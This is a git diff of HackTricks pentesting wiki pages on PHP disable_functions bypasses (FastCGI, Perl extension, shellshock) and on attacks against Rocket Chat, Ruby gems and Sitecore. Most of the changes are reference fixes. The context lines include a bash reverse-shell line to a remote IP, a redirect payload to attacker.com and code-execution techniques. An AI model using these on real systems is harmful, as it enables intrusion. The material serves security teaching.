b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md index f98d710ef45..54a60470137 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md @@ -16,7 +16,7 @@ Normally web pages, files and all of the documents which are transferred from th If **CGI** is installed on the server, the specific cgi-bin directory is also added there, for example home/user/public_html/cgi-bin. CGI scripts are stored in this directory. **Each file in the directory is treated as an executable program**. When accessing a script from the directory, the server sends request to the application, responsible for this script, instead of sending file's content to the browser. **After the input data processing is completed, the application sends the output data** to the web server which forwards the data to the HTTP client. -For example, when the CGI script [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the **.pl** file code itself. (explanation from [here](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)) +For example, when the CGI script [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the **.pl** file code itself. (explanation from [here](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html))[[1]](#references) ### FastCGI @@ -65,7 +65,7 @@ Uploading and accessing this script the exploit is going to be sent to FastCGI. > [!CAUTION] > I'm not sure if this is working in modern versions because I tried once and I couldn't execute anything. Actually I managed to see that `phpinfo()` from FastCGI execution indicated that `disable_functions` was empty, but PHP (somehow) was still preventing me from executing any previously disabled function. Please, if you have more information about this contact me via \[**PEASS & HackTricks telegram group here**]\([**https://t.me/peass**](https://t.me/peass)), or twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.** -Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).[[3]](#references) +Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).[[4]](#references) ```php [[1]](#references) +- PHP-FPM documents that `php_value` / `php_flag` will **not** overwrite previously defined `disable_functions` / `disable_classes` values.[[2]](#references) - `phpinfo()` can be misleading here. There is even an old PHP-FPM bug report showing mismatches between what `phpinfo()` displays and what is actually enforced for `disable_functions`. So, for this technique, think of `PHP_VALUE` as the primitive to relax `open_basedir` and to inject `auto_prepend_file`, but **not** as a reliable way to unset `disable_functions`. @@ -438,7 +438,7 @@ This is a php script to exploit fastcgi protocol to bypass `open_basedir` and `d It will help you to bypass strict `disable_functions` to RCE by loading the malicious extension.\ You can access it here: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) or a sligtly modified and improved version here: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi) -You will find that the exploit is very similar to the previous code, but instead of trying to bypass `disable_functions` using `PHP_VALUE`, it tries to **load an external PHP module** using `extension_dir` and `extension` inside `PHP_ADMIN_VALUE`. That is the important distinction: if you can directly talk to PHP-FPM, forcing it to load an attacker-controlled extension is usually the path that turns FastCGI access into real code execution even when `system`, `exec`, `shell_exec`, and friends remain disabled.[[2]](#references)\ +You will find that the exploit is very similar to the previous code, but instead of trying to bypass `disable_functions` using `PHP_VALUE`, it tries to **load an external PHP module** using `extension_dir` and `extension` inside `PHP_ADMIN_VALUE`. That is the important distinction: if you can directly talk to PHP-FPM, forcing it to load an attacker-controlled extension is usually the path that turns FastCGI access into real code execution even when `system`, `exec`, `shell_exec`, and friends remain disabled.[[3]](#references)\ **NOTE1**: You probably will need to **recompile** the extension with the **same PHP version/build that the server** is using (you can check it inside the output of phpinfo): ![PHP exploit - FuckFastGCI: NOTE1 : You probably will need to recompile the extension with the same PHP version/build that the server is using (you can check it inside the output of phpinfo)](<../../../../images/image (180).png>) @@ -451,20 +451,18 @@ You will find that the exploit is very similar to the previous code, but instead > > The BorelEnzo fork also notes a practical PHP 8 detail: old sample extensions using `TSRMLS_CC` need to be adjusted for PHP 8+. -The improved fork also contains a **pure-PHP variant** that abuses `sendmail_path` instead of loading a custom extension. This removes the need to upload a `.so`, but it still depends on a useful primitive such as `mail()` being callable and a local MTA path being available.[[2]](#references) +The improved fork also contains a **pure-PHP variant** that abuses `sendmail_path` instead of loading a custom extension. This removes the need to upload a `.so`, but it still depends on a useful primitive such as `mail()` being callable and a local MTA path being available.[[3]](#references) ### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043) You can exploit this vulnerability with [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) and test is using this docker environment: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\ You can also find an analysis of the vulnerability [**here**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.** - - ## References -- [1] [PHP manual: FPM configuration (`php_value` / `php_admin_value` and the `disable_functions` note)](https://www.php.net/manual/en/install.fpm.configuration.php) -- [2] [Borel Enzo: FuckFastCGI made simpler](https://borelenzo.github.io/stuff/2023/02/05/php-ffcgi.html) -- [3] [0CTF/TCTF 2019 Quals writeup - wallbreaker (easy)](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy) - +- [1] [What is CGI and FastCGI? (Superhosting.bg help)](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html) +- [2] [PHP manual: FPM configuration (`php_value` / `php_admin_value` and the `disable_functions` note)](https://www.php.net/manual/en/install.fpm.configuration.php) +- [3] [Borel Enzo: FuckFastCGI made simpler](https://borelenzo.github.io/stuff/2023/02/05/php-ffcgi.html) +- [4] [0CTF/TCTF 2019 Quals writeup - wallbreaker (easy)](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md index 2d81a7d0cd8..acd06cc62d7 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md @@ -3,7 +3,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references) +From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references)[[2]](#references) {{#tabs}} {{#tab name="exploit.php"}} @@ -77,8 +77,7 @@ exit ## References - [1] [PHP 5.2.9 (Windows x86) - Local Safemod Bypass (Abysssec Inc Public Advisory)](https://www.exploit-db.com/exploits/8799) +- [2] [disable_functions bypass collection (safebuff blog)](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) {{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md index 18838fe6557..f58cee03c86 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md @@ -8,21 +8,21 @@ The issue tracked as **CVE-2007-4596** comes from the legacy `perl` PHP extensio ## Compatibility & Packaging Status (2025) -* The last PECL release (`perl-1.0.1`, 2013) targets PHP ≥5.0; PHP 8+ generally fails because the Zend APIs changed.[[2]](#references) -* PECL is being superseded by PIE, but older stacks still ship PECL/pear.[[4]](#references) Use the flow below on PHP 5/7 targets; on newer PHP expect to downgrade or switch to another injection path (e.g., userland FFI). +- The last PECL release (`perl-1.0.1`, 2013) targets PHP ≥5.0; PHP 8+ generally fails because the Zend APIs changed.[[2]](#references) +- PECL is being superseded by PIE, but older stacks still ship PECL/pear.[[4]](#references) Use the flow below on PHP 5/7 targets; on newer PHP expect to downgrade or switch to another injection path (e.g., userland FFI). ## Building a Testable Environment in 2025 -* Fetch `perl-1.0.1` from PECL, compile it for the PHP branch you plan to attack, and load it globally (`php.ini`) or via `dl()` (if permitted). -* Quick Debian-based lab recipe: +- Fetch `perl-1.0.1` from PECL, compile it for the PHP branch you plan to attack, and load it globally (`php.ini`) or via `dl()` (if permitted). +- Quick Debian-based lab recipe: ```bash sudo apt install php5.6 php5.6-dev php-pear build-essential sudo pecl install perl-1.0.1 echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini sudo phpenmod perl && sudo systemctl restart apache2 ``` -* During exploitation confirm availability with `var_dump(extension_loaded('perl'));` or `print_r(get_loaded_extensions());`. If absent, search for `perl.so` or abuse writable `php.ini`/`.user.ini` entries to force-load it. -* Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or `proc_open` blacklists do not matter. +- During exploitation confirm availability with `var_dump(extension_loaded('perl'));` or `print_r(get_loaded_extensions());`. If absent, search for `perl.so` or abuse writable `php.ini`/`.user.ini` entries to force-load it. +- Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or `proc_open` blacklists do not matter. ### On-host build chain when phpize is reachable diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md index 0751eaebe32..84598531ce7 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md @@ -21,6 +21,3 @@ while (!feof($a)) - [1] [PHP disable_functions bypass techniques collection - SafeBuff blog](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) {{#include ../../../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md index 0216ffc197c..42495f2b0cc 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md @@ -136,6 +136,3 @@ echo "[-] Write failed. Exiting\n"; - [1] [beched/php_disable_functions_bypass - procfs-based PHP sandbox bypass](https://github.com/beched/php_disable_functions_bypass) {{#include ../../../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md index 545ac259de6..26bc5ce34b6 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md @@ -2,6 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} +From [https://www.exploit-db.com/exploits/4517](https://www.exploit-db.com/exploits/4517)[[1]](#references) ```php ``` -{{#include ../../../../banners/hacktricks-training.md}} - +## References +- [1] [PHP 5.2.4 ionCube - 'ioncube_read_file' Safe Mode / disable_functions Bypass (Exploit-DB)](https://www.exploit-db.com/exploits/4517) +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md index a7b47f4f636..222ce729868 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md @@ -34,6 +34,3 @@ echo shellshock($_REQUEST["cmd"]); - [1] [PHP disable_functions bypass via CVE-2014-6271 Shellshock (safebuff blog)](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) {{#include ../../../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/prestashop.md b/src/network-services-pentesting/pentesting-web/prestashop.md index 3b51771161f..9b13d915faf 100644 --- a/src/network-services-pentesting/pentesting-web/prestashop.md +++ b/src/network-services-pentesting/pentesting-web/prestashop.md @@ -34,7 +34,7 @@ Content-Length: 72 ## References - [1] [CVE-2025-61922: Zero-Click Account Takeover on Prestashop (blog)](https://dhakal-ananda.com.np/blogs/cve-2025-61922-analysis/) -- [2] [GitHub Advisory GHSA-54hq-mf6h-48xh](https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-54hq-mf6h-48xh) +- [2] [GitHub Security Advisory GHSA-54hq-mf6h-48xh: ps_checkout ExpressCheckout authentication bypass](https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-54hq-mf6h-48xh) - [3] [Elevating Low Vulnerabilities to Critical in CMSs and E-Commerce Platforms](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index ae8a64fb82b..f60358ce454 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -154,4 +154,3 @@ Similar delivery can use **`.library-ms`** files that point to external UNC/WebD - [4] [Stealth Falcon's Exploit of Microsoft Zero Day Vulnerability - Check Point Research](https://research.checkpoint.com/2025/stealth-falcon-zero-day/) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/network-services-pentesting/pentesting-web/python.md b/src/network-services-pentesting/pentesting-web/python.md index bb1996d6577..5a8930b1896 100644 --- a/src/network-services-pentesting/pentesting-web/python.md +++ b/src/network-services-pentesting/pentesting-web/python.md @@ -12,21 +12,16 @@ test a possible **code execution**, using the function _str()_: ### Tricks - {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md {{#endref}} - {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}} - {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/rocket-chat.md b/src/network-services-pentesting/pentesting-web/rocket-chat.md index fccd6b33b81..594d041e024 100644 --- a/src/network-services-pentesting/pentesting-web/rocket-chat.md +++ b/src/network-services-pentesting/pentesting-web/rocket-chat.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## RCE If you are admin inside Rocket Chat you can get RCE. @@ -35,8 +34,4 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'") - Call it with curl and you shuold receive the rev shell - {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/roundcube.md b/src/network-services-pentesting/pentesting-web/roundcube.md index 9711aa62149..09b6ca119dd 100644 --- a/src/network-services-pentesting/pentesting-web/roundcube.md +++ b/src/network-services-pentesting/pentesting-web/roundcube.md @@ -113,4 +113,4 @@ Operational use - [5] [Roundcube bin/decrypt.sh helper](https://raw.githubusercontent.com/roundcube/roundcubemail/master/bin/decrypt.sh) - [6] [HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)](https://0xdf.gitlab.io/2025/11/15/htb-outbound.html) -{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md index edbe91e8177..964606add35 100644 --- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md +++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md @@ -58,7 +58,7 @@ PY ## REXML XML parser ReDoS (CVE-2024-49761) -The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., `�x41;`). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion. +The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., `�x41;`). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.[[15]](#references) Minimal trigger against a Rails endpoint that parses XML: ```bash @@ -77,7 +77,7 @@ Both issues are fixed in `cgi` 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a mas ## Basecamp `googlesign_in` open redirect / cookie flash leak (CVE-2025-57821) -The `googlesign_in` gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the `proceedto` parameter. A malformed URL like `proceedto=//attacker.com/%2F..` bypasses the check and redirects the user off-site while preserving Rails flash/session cookies. +The `googlesign_in` gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the `proceedto` parameter. A malformed URL like `proceedto=//attacker.com/%2F..` bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.[[16]](#references) Exploit flow: 1. Victim clicks crafted Google Sign-In link hosted by attacker. @@ -353,5 +353,7 @@ URL-encoded PoC (first char is a newline): - [12] [GitHub Advisory: Possible Log Injection in Rack::CommonLogger (CVE-2025-25184)](https://github.com/advisories/GHSA-7g2v-jj9q-g3rg) - [13] [Rails GlobalID README (Signed Global IDs, purpose, expiry)](https://github.com/rails/globalid) - [14] [OffSec Blog: CVE-2024-46986 – Arbitrary File Write in Camaleon CMS Leading to RCE](https://www.offsec.com/blog/cve-2024-46986/) +- [15] [Ruby Lang – ReDoS in REXML (CVE-2024-49761)](https://www.ruby-lang.org/en/news/2024/10/28/redos-rexml-cve-2024-49761) +- [16] [GitHub Security Advisory – Basecamp google_sign_in Open Redirect (CVE-2025-57821)](https://github.com/basecamp/google_sign_in/security/advisories/GHSA-7pwc-wh6m-44q3) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/servicenow.md b/src/network-services-pentesting/pentesting-web/servicenow.md index b7658692cd4..aa76c4c48f6 100644 --- a/src/network-services-pentesting/pentesting-web/servicenow.md +++ b/src/network-services-pentesting/pentesting-web/servicenow.md @@ -105,7 +105,7 @@ Useful behaviors: ## Detection / validation notes -From a defender or purple-team perspective, review logs for: +From a defender or purple-team perspective, review logs for:[[1]](#references) - Anonymous requests to `/api/now/sp/widget/*` - Anonymous requests to `/api/now/table/*` diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md index 23e601b413b..84a40445ef1 100644 --- a/src/network-services-pentesting/pentesting-web/sitecore/README.md +++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md @@ -187,7 +187,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` -Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute. +Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.[[1]](#references) {{#ref}} diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 14533e1277b..626d0ab36e2 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -219,7 +219,7 @@ el.innerHTML = escaped // Results in safe assignment. ### **X-Content-Type-Options** -This header prevents MIME type sniffing, a practice that could lead to XSS vulnerabilities. It ensures that browsers respect the MIME types specified by the server. +This header prevents MIME type sniffing, a practice that could lead to XSS vulnerabilities. It ensures that browsers respect the MIME types specified by the server.[[3]](#references) ``` X-Content-Type-Options: nosniff @@ -227,7 +227,7 @@ X-Content-Type-Options: nosniff ### **X-Frame-Options** -To combat clickjacking, this header restricts how documents can be embedded in ``, `